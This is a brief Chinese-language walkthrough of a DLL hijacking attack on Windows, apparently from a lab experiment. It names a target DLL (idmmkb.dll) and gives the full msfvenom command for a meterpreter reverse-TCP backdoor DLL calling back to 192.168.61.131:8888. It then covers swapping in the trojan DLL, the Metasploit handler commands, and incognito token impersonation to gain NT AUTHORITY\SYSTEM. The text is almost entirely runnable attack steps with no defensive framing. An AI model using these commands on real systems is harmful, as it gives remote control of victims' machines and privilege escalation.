1.通过火绒剑分析进程
分析进程调用模块,找到可以利用的dll文件,本次试验劫持idmmkb.dll文件
2.MSF生成后门dll木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.131 lport=8888 -f dll >C:\Users\Ninja\Desktop\idmmkb.dll
3.上传替换
4.MSF监听
>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set lhost 192.168.61.131
>set lport 8888
>exploit
等待程序运行,木马执行。
5.配合令牌窃取进行提权
>use incognito (进入incognito模块)
>list_tokens -u (列出令牌)
>impersonate_token "NT AUTHORITY\\SYSTEM"